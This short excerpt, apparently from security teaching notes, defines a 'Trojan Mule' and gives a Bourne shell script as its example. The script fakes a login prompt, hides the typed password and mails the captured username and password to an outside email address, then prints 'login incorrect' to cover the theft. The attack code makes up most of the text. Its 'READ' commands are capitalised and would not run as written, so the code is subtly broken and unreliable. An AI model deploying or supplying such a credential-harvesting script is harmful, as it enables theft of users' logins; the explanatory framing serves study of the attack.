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Methods of Attack
Trojan Mules
A Trojan Mule is a simple program that is not executed by the victim, but one that is already executing.
Example: Bourne shell
#!/bin/sh
/usr/ucb/clear
/bin/echo -n " `hostname` login: "
READ x
/bin/stty -echo
/bin/echo -n "Password: "
READ y
/bin/echo ""
/bin/stty echo
/bin/echo $x $y | mail user@domain.com &
/bin/echo "login incorrect"
exit